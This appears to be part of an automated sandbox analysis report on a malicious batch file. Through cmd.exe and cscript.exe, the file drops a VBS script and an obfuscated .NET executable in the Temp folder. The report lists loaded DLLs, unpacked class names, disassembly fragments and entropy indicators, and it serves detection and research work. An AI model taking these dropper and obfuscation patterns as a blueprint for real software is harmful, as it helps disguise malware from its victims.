Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: iconcodecservice.dll	Jump to behavior

Source: C:\Windows\System32\cscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\x.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

.NET source code contains potential unpacker

Source: FS001_ DT103024.bat

Static file information: File size 1405358 > 1048576

Source:	Binary string: wntdll.pdbUGP source: x.exe, 00000007.00000002.2389202000.00000000013A0000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: x.exe, x.exe, 00000007.00000002.2389202000.00000000013A0000.00000040.00001000.00020000.00000000.sdmp

Data Obfuscation

Source: 5.2.x.exe.45517f0.2.raw.unpack, Iq9ZQy9BvVQNp1fKNT.cs	.Net Code: TCbCVi3Wsb System.Reflection.Assembly.Load(byte[])
Source: 5.2.x.exe.6f30000.4.raw.unpack, XlF5VlCIHRSQX8M5eh.cs	.Net Code: _200C_200C_202D_206C_200B_206A_206D_200B_200D_200C_202D_206A_206D_202A_206A_206B_202B_206C_202D_200B_202E_202B_202A_206C_206A_206D_202D_206B_206D_206B_200D_202B_202D_206C_206F_206C_200B_202B_206A_206D_202E System.Reflection.Assembly.Load(byte[])
Source: 5.2.x.exe.45d9c10.3.raw.unpack, Iq9ZQy9BvVQNp1fKNT.cs	.Net Code: TCbCVi3Wsb System.Reflection.Assembly.Load(byte[])
Source: 5.2.x.exe.7ce0000.5.raw.unpack, Iq9ZQy9BvVQNp1fKNT.cs	.Net Code: TCbCVi3Wsb System.Reflection.Assembly.Load(byte[])
Source: 5.2.x.exe.3ae5ab0.1.raw.unpack, XlF5VlCIHRSQX8M5eh.cs	.Net Code: _200C_200C_202D_206C_200B_206A_206D_200B_200D_200C_202D_206A_206D_202A_206A_206B_202B_206C_202D_200B_202E_202B_202A_206C_206A_206D_202D_206B_206D_206B_200D_202B_202D_206C_206F_206C_200B_202B_206A_206D_202E System.Reflection.Assembly.Load(byte[])
Source: 5.2.x.exe.3b05ad0.0.raw.unpack, XlF5VlCIHRSQX8M5eh.cs	.Net Code: _200C_200C_202D_206C_200B_206A_206D_200B_200D_200C_202D_206A_206D_202A_206A_206B_202B_206C_202D_200B_202E_202B_202A_206C_206A_206D_202D_206B_206D_206B_200D_202B_202D_206C_206F_206C_200B_202B_206A_206D_202E System.Reflection.Assembly.Load(byte[])

Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_06F60882 push es; ret	5_2_06F60890
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_06F8B79E push B9FFFFFFh; retf	5_2_06F8B7A3
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_06F917AD push FFFFFF8Fh; retf	5_2_06F917B4
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_06F90A8E pushfd ; retf	5_2_06F90A8F
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_06F90B02 pushfd ; retf	5_2_06F90B03
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_06F94910 push eax; ret	5_2_06F9491D
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_07D727E1 push esp; retf	5_2_07D727ED
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0040D877 push FE6D4712h; iretd	7_2_0040D8ED
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0040D836 push FE6D4712h; iretd	7_2_0040D8ED
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0041A8CB push eax; retf	7_2_0041A8CC
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_004071E9 push es; retf	7_2_004071FD
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0041F19C push edi; iretd	7_2_0041F19F
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_00404A73 push esi; ret	7_2_00404A7E
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_00403230 push eax; ret	7_2_00403232
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_00404AC7 push edi; ret	7_2_00404AD4
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_00412349 push edi; retf	7_2_0041235F
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_00412353 push edi; retf	7_2_0041235F
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0040738B push cs; retf	7_2_0040738F
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_0041ED3E push ss; ret	7_2_0041ED3F
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013AB008 push es; iretd	7_2_013AB009
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013A225F pushad ; ret	7_2_013A27F9
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013A27FA pushad ; ret	7_2_013A27F9
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013A9939 push es; iretd	7_2_013A9940
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013D09AD push ecx; mov dword ptr [esp], ecx	7_2_013D09B6
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 7_2_013A283D push eax; iretd	7_2_013A2858

Source: x.exe.4.dr

Static PE information: section name: .text entropy: 7.736981568251297

Source: 5.2.x.exe.45517f0.2.raw.unpack, tyg1AJVRc3lAfFSla6.cs	High entropy of concatenated method names: 'MRVIE49fbR', 'kqAIWeNwSt', 'JmiI7P85tg', 'wddIQa6lmb', 'r1YIOxHc5W', 'oeyI4ITfC3', 'AffIdkrtCQ', 'Ou4I6wiaG4', 'gR5Ifx61nr', 'h80IiLyFST'
Source: 5.2.x.exe.45517f0.2.raw.unpack, qvPCtU5v1i683AMkq5.cs	High entropy of concatenated method names: 'Ka9F5bw7OP', 'IFHFHC4XWb', 'LyiF9ouKmN', 'DYB91n4AdF', 'Vwr9zIZNsb', 'nd5FuAyflG', 'rdeFv6KdBk', 'EhYFbksSec', 'S5IFJM8Mrx', 'lBOFCUqUxM'
Source: 5.2.x.exe.45517f0.2.raw.unpack, qQHIUfkqHkckfCGc3EH.cs	High entropy of concatenated method names: 'IfCelZTqNn', 'EF1eXYpicv', 'o1teVl66aR', 'tb5eaSA5mN', 'xiBey8Z2AE', 'BmbeUkdS2b', 'xrterCZtBS', 'HQVepadR62', 'efQeRrED1n', 'uQJePUrBkv'
Source: 5.2.x.exe.45517f0.2.raw.unpack, Gb17w0T0wA9mVSBeuJ.cs	High entropy of concatenated method names: 'nK69S00FJQ', 'HA09smh45Z', 'kAw9KN673M', 'JTC9FPJ1cI', 'wsp93aSqk0', 'ypjKTcas1x', 'Oa6KBhbPvm', 'o2IKDVkATH', 'EEuK0PuZlu', 'o28KcNmrTH'
Source: 5.2.x.exe.45517f0.2.raw.unpack, G9296xsYpuxFhFvQZi.cs	High entropy of concatenated method names: 'Dispose', 'xF9vcg5fy0', 'HLmbOGZqfu', 'bLy22mggGL', 'GoZv1HgFYO', 'cOlvz0OWQ3', 'ProcessDialogKey', 'tNvbu6UAqb', 'NPabvbEQbD', 'c7sbbemMbC'
Source: 5.2.x.exe.45517f0.2.raw.unpack, mFJ92nZUGIWZd0yGov.cs	High entropy of concatenated method names: 'ToString', 'bhZZhTRB5y', 'kRbZOxFp1N', 'YRRZ4FJ9eH', 'bVVZdjCWJi', 'J5QZ6WPrPx', 'OU3ZfI3h2X', 'SQ1ZioPxwX', 'BebZMxNJUO', 'UtKZqjyN9I'
Source: 5.2.x.exe.45517f0.2.raw.unpack, Q3JIIfB5ewGdb036pH.cs	High entropy of concatenated method names: 'sXVFlGKfqH', 'U0vFXbEDOw', 'CERFV9FwVE', 'FvOFa9T1em', 'xuBFyDOwFJ', 'fgsFU5UyLE', 'QkkFr7ZfJg', 'QlRFpkerpQ', 'yTLFRkoWHG', 'D5oFPTMyfT'
Source: 5.2.x.exe.45517f0.2.raw.unpack, qWodHXM6bcYeEUK7Kb.cs	High entropy of concatenated method names: 'VVbo0xbpLV', 'jAJo1SvYwX', 'mQfGuBuaBY', 'sofGvF5l6m', 'KhaohvA7mq', 'lI6oW8Zlc7', 'UqIoYRQFdq', 'Ftvo7qDLE9', 'ONdoQMkPLD', 'Hx6omPQyGn'
Source: 5.2.x.exe.45517f0.2.raw.unpack, cOV6GdkH8mVWMDomBbq.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'vyGn7hed8x', 'KZ8nQQnu6W', 'OBonmeJoGy', 'xpWn8E3mPF', 'amFnTK6hee', 's5bnBwErnk', 'aLKnD3G2M6'
Source: 5.2.x.exe.45517f0.2.raw.unpack, woDxRIpElIEKfjvhS7.cs	High entropy of concatenated method names: 'IoAKyt1duO', 'dGjKrykRLt', 'AesH4vVr4f', 'ofOHd3nBWT', 'zTKH6HyZgt', 'ogmHfrcHZQ', 'thPHiTOA9B', 'XfoHMW6J29', 'UEKHqVqy98', 'bTiHEiqrY8'
Source: 5.2.x.exe.45517f0.2.raw.unpack, zYYKOJAWCGC8XTqj1s.cs	High entropy of concatenated method names: 'cQrLpKaZyZ', 'gETLR4A3OV', 'alJLAYQcmU', 'kcuLODbpgE', 'hYOLdocCFV', 'ToJL6a9LgE', 'Eo6LiFMOZd', 'Mn1LM4n6Se', 'jIdLEeoJ9U', 'vbWLhOUPsI'
Source: 5.2.x.exe.45517f0.2.raw.unpack, iqslocnQKfRotlO4Ia.cs	High entropy of concatenated method names: 'R48G5q0bQl', 'Lc2GslGXeM', 'FNUGHfSC0V', 'IjEGKv7FnW', 'w7VG9VT2PN', 'vuXGFRZByo', 'kpEG344bIe', 'a9vGjpVV5X', 'FsdGg4ga8R', 'xebGNdJIKO'
Source: 5.2.x.exe.45517f0.2.raw.unpack, tmUVgUD8XWmg4UU1HL.cs	High entropy of concatenated method names: 'UccGA6h6Ru', 'vCAGOqSRP8', 'lgMG4Kkf3v', 'vr5GdWll3A', 'aJFG7YErQM', 'vomG6j73O6', 'Next', 'Next', 'Next', 'NextBytes'
Source: 5.2.x.exe.45517f0.2.raw.unpack, P1KjSS8EMJ4Zj3i9oP.cs	High entropy of concatenated method names: 'Oa4Vg2mKJ', 'MWXaWW78h', 'a9NUBI3pF', 'jONr6tJH9', 'lWBRQrnGy', 'sx9Py3sM6', 'tkHbyPs18qO6nIC2ym', 'M7u0NxyyYqNeL44JNC', 'y1NGpMwj9', 'q6lnyeVoM'
Source: 5.2.x.exe.45517f0.2.raw.unpack, Ldm2CSOPWLn1JUAKg7.cs	High entropy of concatenated method names: 'PlDHa8T03d', 'ewiHU8bSpj', 'nE9HpBRxEP', 'Hp6HR1LUDI', 'eXfHII0fXS', 'NGsHZQRNCJ', 'LPmHonEoLr', 'nDuHGnlJtH', 'OarHejLPG7', 'BW4HnmDWZJ'
Source: 5.2.x.exe.45517f0.2.raw.unpack, Iq9ZQy9BvVQNp1fKNT.cs	High entropy of concatenated method names: 'O4iJS6krbE', 'YWUJ5uN6BT', 'FXRJsSCvO0', 'S7eJH2gv5F', 'TMEJK3WmX3', 'liGJ9Nm0qh', 'wGDJFoecf7', 'eOKJ3foQxd', 'eOhJj25pC2', 'vxeJg9mVaQ'
Source: 5.2.x.exe.45517f0.2.raw.unpack, D0p1NKPVj9ucY2Qm8F.cs	High entropy of concatenated method names: 'qaDvFICns7', 'JsEv3Ajh7c', 'lT1vgTYidi', 'cpmvNL6d6L', 'gSKvIE4I8P', 'lhevZ64vux', 'U2IfjrQUyiwX46rjll', 'u4TQBvUO9NdovsZNV3', 'UQhvvZwDQu', 'O1fvJxOkDH'
Source: 5.2.x.exe.45517f0.2.raw.unpack, z6oiKCyaK2NEMrrIhH.cs	High entropy of concatenated method names: 'HVpev8UT4Z', 'fHoeJneEle', 'rLOeCNpPhj', 'wIde5ySMSb', 'Nb0esYOj60', 'EhDeKAjJ6R', 'bqme9Qx0Nd', 'yDeGD1ldIN', 'L0aG0MVP8y', 'UaeGctI9wl'
Source: 5.2.x.exe.45517f0.2.raw.unpack, dMn7Q7mEsppOh0xjvJ.cs	High entropy of concatenated method names: 'IXMs7TDYo5', 'qmKsQ7w07K', 'mW8smme9x8', 'YHds8eIGAt', 'vpOsTISWTy', 'yxpsBMtpbS', 'NcmsDIcWTh', 'FUYs0FQJs6', 'vsqscKUklf', 'EXFs1gJjS7'
Source: 5.2.x.exe.45517f0.2.raw.unpack, nJ8tJ5aNcG8so8TN18.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'FVbbcT7LGQ', 'uodb1FY2qp', 'I9sbztNVq5', 'onBJuvCHAp', 'GESJvvljer', 'wDgJbYm1Uv', 'B0lJJXrWtq', 'TRcRM3Zi8QX3NDOnAUb'
Source: 5.2.x.exe.45d9c10.3.raw.unpack, tyg1AJVRc3lAfFSla6.cs	High entropy of concatenated method names: 'MRVIE49fbR', 'kqAIWeNwSt', 'JmiI7P85tg', 'wddIQa6lmb', 'r1YIOxHc5W', 'oeyI4ITfC3', 'AffIdkrtCQ', 'Ou4I6wiaG4', 'gR5Ifx61nr', 'h80IiLyFST'
Source: 5.2.x.exe.45d9c10.3.raw.unpack, qvPCtU5v1i683AMkq5.cs	High entropy of concatenated method names: 'Ka9F5bw7OP', 'IFHFHC4XWb', 'LyiF9ouKmN', 'DYB91n4AdF', 'Vwr9zIZNsb', 'nd5FuAyflG', 'rdeFv6KdBk', 'EhYFbksSec', 'S5IFJM8Mrx', 'lBOFCUqUxM'
Source: 5.2.x.exe.45d9c10.3.raw.unpack, qQHIUfkqHkckfCGc3EH.cs	High entropy of concatenated method names: 'IfCelZTqNn', 'EF1eXYpicv', 'o1teVl66aR', 'tb5eaSA5mN', 'xiBey8Z2AE', 'BmbeUkdS2b', 'xrterCZtBS', 'HQVepadR62', 'efQeRrED1n', 'uQJePUrBkv'
Source: 5.2.x.exe.45d9c10.3.raw.unpack, Gb17w0T0wA9mVSBeuJ.cs	High entropy of concatenated method names: 'nK69S00FJQ', 'HA09smh45Z', 'kAw9KN673M', 'JTC9FPJ1cI', 'wsp93aSqk0', 'ypjKTcas1x', 'Oa6KBhbPvm', 'o2IKDVkATH', 'EEuK0PuZlu', 'o28KcNmrTH'
Source: 5.2.x.exe.45d9c10.3.raw.unpack, G9296xsYpuxFhFvQZi.cs	High entropy of concatenated method names: 'Dispose', 'xF9vcg5fy0', 'HLmbOGZqfu', 'bLy22mggGL', 'GoZv1HgFYO', 'cOlvz0OWQ3', 'ProcessDialogKey', 'tNvbu6UAqb', 'NPabvbEQbD', 'c7sbbemMbC'
Source: 5.2.x.exe.45d9c10.3.raw.unpack, mFJ92nZUGIWZd0yGov.cs	High entropy of concatenated method names: 'ToString', 'bhZZhTRB5y', 'kRbZOxFp1N', 'YRRZ4FJ9eH', 'bVVZdjCWJi', 'J5QZ6WPrPx', 'OU3ZfI3h2X', 'SQ1ZioPxwX', 'BebZMxNJUO', 'UtKZqjyN9I'
Source: 5.2.x.exe.45d9c10.3.raw.unpack, Q3JIIfB5ewGdb036pH.cs	High entropy of concatenated method names: 'sXVFlGKfqH', 'U0vFXbEDOw', 'CERFV9FwVE', 'FvOFa9T1em', 'xuBFyDOwFJ', 'fgsFU5UyLE', 'QkkFr7ZfJg', 'QlRFpkerpQ', 'yTLFRkoWHG', 'D5oFPTMyfT'
Source: 5.2.x.exe.45d9c10.3.raw.unpack, qWodHXM6bcYeEUK7Kb.cs	High entropy of concatenated method names: 'VVbo0xbpLV', 'jAJo1SvYwX', 'mQfGuBuaBY', 'sofGvF5l6m', 'KhaohvA7mq', 'lI6oW8Zlc7', 'UqIoYRQFdq', 'Ftvo7qDLE9', 'ONdoQMkPLD', 'Hx6omPQyGn'
Source: 5.2.x.exe.45d9c10.3.raw.unpack, cOV6GdkH8mVWMDomBbq.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'vyGn7hed8x', 'KZ8nQQnu6W', 'OBonmeJoGy', 'xpWn8E3mPF', 'amFnTK6hee', 's5bnBwErnk', 'aLKnD3G2M6'
Source: 5.2.x.exe.45d9c10.3.raw.unpack, woDxRIpElIEKfjvhS7.cs	High entropy of concatenated method names: 'IoAKyt1duO', 'dGjKrykRLt', 'AesH4vVr4f', 'ofOHd3nBWT', 'zTKH6HyZgt', 'ogmHfrcHZQ', 'thPHiTOA9B', 'XfoHMW6J29', 'UEKHqVqy98', 'bTiHEiqrY8'
Source: 5.2.x.exe.45d9c10.3.raw.unpack, zYYKOJAWCGC8XTqj1s.cs	High entropy of concatenated method names: 'cQrLpKaZyZ', 'gETLR4A3OV', 'alJLAYQcmU', 'kcuLODbpgE', 'hYOLdocCFV', 'ToJL6a9LgE', 'Eo6LiFMOZd', 'Mn1LM4n6Se', 'jIdLEeoJ9U', 'vbWLhOUPsI'
Source: 5.2.x.exe.45d9c10.3.raw.unpack, iqslocnQKfRotlO4Ia.cs	High entropy of concatenated method names: 'R48G5q0bQl', 'Lc2GslGXeM', 'FNUGHfSC0V', 'IjEGKv7FnW', 'w7VG9VT2PN', 'vuXGFRZByo', 'kpEG344bIe', 'a9vGjpVV5X', 'FsdGg4ga8R', 'xebGNdJIKO'
Source: 5.2.x.exe.45d9c10.3.raw.unpack, tmUVgUD8XWmg4UU1HL.cs	High entropy of concatenated method names: 'UccGA6h6Ru', 'vCAGOqSRP8', 'lgMG4Kkf3v', 'vr5GdWll3A', 'aJFG7YErQM', 'vomG6j73O6', 'Next', 'Next', 'Next', 'NextBytes'
Source: 5.2.x.exe.45d9c10.3.raw.unpack, P1KjSS8EMJ4Zj3i9oP.cs	High entropy of concatenated method names: 'Oa4Vg2mKJ', 'MWXaWW78h', 'a9NUBI3pF', 'jONr6tJH9', 'lWBRQrnGy', 'sx9Py3sM6', 'tkHbyPs18qO6nIC2ym', 'M7u0NxyyYqNeL44JNC', 'y1NGpMwj9', 'q6lnyeVoM'
Source: 5.2.x.exe.45d9c10.3.raw.unpack, Ldm2CSOPWLn1JUAKg7.cs	High entropy of concatenated method names: 'PlDHa8T03d', 'ewiHU8bSpj', 'nE9HpBRxEP', 'Hp6HR1LUDI', 'eXfHII0fXS', 'NGsHZQRNCJ', 'LPmHonEoLr', 'nDuHGnlJtH', 'OarHejLPG7', 'BW4HnmDWZJ'
Source: 5.2.x.exe.45d9c10.3.raw.unpack, Iq9ZQy9BvVQNp1fKNT.cs	High entropy of concatenated method names: 'O4iJS6krbE', 'YWUJ5uN6BT', 'FXRJsSCvO0', 'S7eJH2gv5F', 'TMEJK3WmX3', 'liGJ9Nm0qh', 'wGDJFoecf7', 'eOKJ3foQxd', 'eOhJj25pC2', 'vxeJg9mVaQ'
Source: 5.2.x.exe.45d9c10.3.raw.unpack, D0p1NKPVj9ucY2Qm8F.cs	High entropy of concatenated method names: 'qaDvFICns7', 'JsEv3Ajh7c', 'lT1vgTYidi', 'cpmvNL6d6L', 'gSKvIE4I8P', 'lhevZ64vux', 'U2IfjrQUyiwX46rjll', 'u4TQBvUO9NdovsZNV3', 'UQhvvZwDQu', 'O1fvJxOkDH'
Source: 5.2.x.exe.45d9c10.3.raw.unpack, z6oiKCyaK2NEMrrIhH.cs	High entropy of concatenated method names: 'HVpev8UT4Z', 'fHoeJneEle', 'rLOeCNpPhj', 'wIde5ySMSb', 'Nb0esYOj60', 'EhDeKAjJ6R', 'bqme9Qx0Nd', 'yDeGD1ldIN', 'L0aG0MVP8y', 'UaeGctI9wl'
Source: 5.2.x.exe.45d9c10.3.raw.unpack, dMn7Q7mEsppOh0xjvJ.cs	High entropy of concatenated method names: 'IXMs7TDYo5', 'qmKsQ7w07K', 'mW8smme9x8', 'YHds8eIGAt', 'vpOsTISWTy', 'yxpsBMtpbS', 'NcmsDIcWTh', 'FUYs0FQJs6', 'vsqscKUklf', 'EXFs1gJjS7'
Source: 5.2.x.exe.45d9c10.3.raw.unpack, nJ8tJ5aNcG8so8TN18.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'FVbbcT7LGQ', 'uodb1FY2qp', 'I9sbztNVq5', 'onBJuvCHAp', 'GESJvvljer', 'wDgJbYm1Uv', 'B0lJJXrWtq', 'TRcRM3Zi8QX3NDOnAUb'
Source: 5.2.x.exe.7ce0000.5.raw.unpack, tyg1AJVRc3lAfFSla6.cs	High entropy of concatenated method names: 'MRVIE49fbR', 'kqAIWeNwSt', 'JmiI7P85tg', 'wddIQa6lmb', 'r1YIOxHc5W', 'oeyI4ITfC3', 'AffIdkrtCQ', 'Ou4I6wiaG4', 'gR5Ifx61nr', 'h80IiLyFST'
Source: 5.2.x.exe.7ce0000.5.raw.unpack, qvPCtU5v1i683AMkq5.cs	High entropy of concatenated method names: 'Ka9F5bw7OP', 'IFHFHC4XWb', 'LyiF9ouKmN', 'DYB91n4AdF', 'Vwr9zIZNsb', 'nd5FuAyflG', 'rdeFv6KdBk', 'EhYFbksSec', 'S5IFJM8Mrx', 'lBOFCUqUxM'
Source: 5.2.x.exe.7ce0000.5.raw.unpack, qQHIUfkqHkckfCGc3EH.cs	High entropy of concatenated method names: 'IfCelZTqNn', 'EF1eXYpicv', 'o1teVl66aR', 'tb5eaSA5mN', 'xiBey8Z2AE', 'BmbeUkdS2b', 'xrterCZtBS', 'HQVepadR62', 'efQeRrED1n', 'uQJePUrBkv'
Source: 5.2.x.exe.7ce0000.5.raw.unpack, Gb17w0T0wA9mVSBeuJ.cs	High entropy of concatenated method names: 'nK69S00FJQ', 'HA09smh45Z', 'kAw9KN673M', 'JTC9FPJ1cI', 'wsp93aSqk0', 'ypjKTcas1x', 'Oa6KBhbPvm', 'o2IKDVkATH', 'EEuK0PuZlu', 'o28KcNmrTH'
Source: 5.2.x.exe.7ce0000.5.raw.unpack, G9296xsYpuxFhFvQZi.cs	High entropy of concatenated method names: 'Dispose', 'xF9vcg5fy0', 'HLmbOGZqfu', 'bLy22mggGL', 'GoZv1HgFYO', 'cOlvz0OWQ3', 'ProcessDialogKey', 'tNvbu6UAqb', 'NPabvbEQbD', 'c7sbbemMbC'
Source: 5.2.x.exe.7ce0000.5.raw.unpack, mFJ92nZUGIWZd0yGov.cs	High entropy of concatenated method names: 'ToString', 'bhZZhTRB5y', 'kRbZOxFp1N', 'YRRZ4FJ9eH', 'bVVZdjCWJi', 'J5QZ6WPrPx', 'OU3ZfI3h2X', 'SQ1ZioPxwX', 'BebZMxNJUO', 'UtKZqjyN9I'
Source: 5.2.x.exe.7ce0000.5.raw.unpack, Q3JIIfB5ewGdb036pH.cs	High entropy of concatenated method names: 'sXVFlGKfqH', 'U0vFXbEDOw', 'CERFV9FwVE', 'FvOFa9T1em', 'xuBFyDOwFJ', 'fgsFU5UyLE', 'QkkFr7ZfJg', 'QlRFpkerpQ', 'yTLFRkoWHG', 'D5oFPTMyfT'
Source: 5.2.x.exe.7ce0000.5.raw.unpack, qWodHXM6bcYeEUK7Kb.cs	High entropy of concatenated method names: 'VVbo0xbpLV', 'jAJo1SvYwX', 'mQfGuBuaBY', 'sofGvF5l6m', 'KhaohvA7mq', 'lI6oW8Zlc7', 'UqIoYRQFdq', 'Ftvo7qDLE9', 'ONdoQMkPLD', 'Hx6omPQyGn'
Source: 5.2.x.exe.7ce0000.5.raw.unpack, cOV6GdkH8mVWMDomBbq.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'vyGn7hed8x', 'KZ8nQQnu6W', 'OBonmeJoGy', 'xpWn8E3mPF', 'amFnTK6hee', 's5bnBwErnk', 'aLKnD3G2M6'
Source: 5.2.x.exe.7ce0000.5.raw.unpack, woDxRIpElIEKfjvhS7.cs	High entropy of concatenated method names: 'IoAKyt1duO', 'dGjKrykRLt', 'AesH4vVr4f', 'ofOHd3nBWT', 'zTKH6HyZgt', 'ogmHfrcHZQ', 'thPHiTOA9B', 'XfoHMW6J29', 'UEKHqVqy98', 'bTiHEiqrY8'
Source: 5.2.x.exe.7ce0000.5.raw.unpack, zYYKOJAWCGC8XTqj1s.cs	High entropy of concatenated method names: 'cQrLpKaZyZ', 'gETLR4A3OV', 'alJLAYQcmU', 'kcuLODbpgE', 'hYOLdocCFV', 'ToJL6a9LgE', 'Eo6LiFMOZd', 'Mn1LM4n6Se', 'jIdLEeoJ9U', 'vbWLhOUPsI'
Source: 5.2.x.exe.7ce0000.5.raw.unpack, iqslocnQKfRotlO4Ia.cs	High entropy of concatenated method names: 'R48G5q0bQl', 'Lc2GslGXeM', 'FNUGHfSC0V', 'IjEGKv7FnW', 'w7VG9VT2PN', 'vuXGFRZByo', 'kpEG344bIe', 'a9vGjpVV5X', 'FsdGg4ga8R', 'xebGNdJIKO'
Source: 5.2.x.exe.7ce0000.5.raw.unpack, tmUVgUD8XWmg4UU1HL.cs	High entropy of concatenated method names: 'UccGA6h6Ru', 'vCAGOqSRP8', 'lgMG4Kkf3v', 'vr5GdWll3A', 'aJFG7YErQM', 'vomG6j73O6', 'Next', 'Next', 'Next', 'NextBytes'
Source: 5.2.x.exe.7ce0000.5.raw.unpack, P1KjSS8EMJ4Zj3i9oP.cs	High entropy of concatenated method names: 'Oa4Vg2mKJ', 'MWXaWW78h', 'a9NUBI3pF', 'jONr6tJH9', 'lWBRQrnGy', 'sx9Py3sM6', 'tkHbyPs18qO6nIC2ym', 'M7u0NxyyYqNeL44JNC', 'y1NGpMwj9', 'q6lnyeVoM'
Source: 5.2.x.exe.7ce0000.5.raw.unpack, Ldm2CSOPWLn1JUAKg7.cs	High entropy of concatenated method names: 'PlDHa8T03d', 'ewiHU8bSpj', 'nE9HpBRxEP', 'Hp6HR1LUDI', 'eXfHII0fXS', 'NGsHZQRNCJ', 'LPmHonEoLr', 'nDuHGnlJtH', 'OarHejLPG7', 'BW4HnmDWZJ'
Source: 5.2.x.exe.7ce0000.5.raw.unpack, Iq9ZQy9BvVQNp1fKNT.cs	High entropy of concatenated method names: 'O4iJS6krbE', 'YWUJ5uN6BT', 'FXRJsSCvO0', 'S7eJH2gv5F', 'TMEJK3WmX3', 'liGJ9Nm0qh', 'wGDJFoecf7', 'eOKJ3foQxd', 'eOhJj25pC2', 'vxeJg9mVaQ'
Source: 5.2.x.exe.7ce0000.5.raw.unpack, D0p1NKPVj9ucY2Qm8F.cs	High entropy of concatenated method names: 'qaDvFICns7', 'JsEv3Ajh7c', 'lT1vgTYidi', 'cpmvNL6d6L', 'gSKvIE4I8P', 'lhevZ64vux', 'U2IfjrQUyiwX46rjll', 'u4TQBvUO9NdovsZNV3', 'UQhvvZwDQu', 'O1fvJxOkDH'
Source: 5.2.x.exe.7ce0000.5.raw.unpack, z6oiKCyaK2NEMrrIhH.cs	High entropy of concatenated method names: 'HVpev8UT4Z', 'fHoeJneEle', 'rLOeCNpPhj', 'wIde5ySMSb', 'Nb0esYOj60', 'EhDeKAjJ6R', 'bqme9Qx0Nd', 'yDeGD1ldIN', 'L0aG0MVP8y', 'UaeGctI9wl'
Source: 5.2.x.exe.7ce0000.5.raw.unpack, dMn7Q7mEsppOh0xjvJ.cs	High entropy of concatenated method names: 'IXMs7TDYo5', 'qmKsQ7w07K', 'mW8smme9x8', 'YHds8eIGAt', 'vpOsTISWTy', 'yxpsBMtpbS', 'NcmsDIcWTh', 'FUYs0FQJs6', 'vsqscKUklf', 'EXFs1gJjS7'
Source: 5.2.x.exe.7ce0000.5.raw.unpack, nJ8tJ5aNcG8so8TN18.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'FVbbcT7LGQ', 'uodb1FY2qp', 'I9sbztNVq5', 'onBJuvCHAp', 'GESJvvljer', 'wDgJbYm1Uv', 'B0lJJXrWtq', 'TRcRM3Zi8QX3NDOnAUb'

Persistence and Installation Behavior

Command shell drops VBS files

Source: C:\Windows\System32\cmd.exe

File created: C:\Users\user\AppData\Local\Temp\x.vbs

Source: C:\Windows\System32\cscript.exe

File created: C:\Users\user\AppData\Local\Temp\x.exe

Jump to dropped file

Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
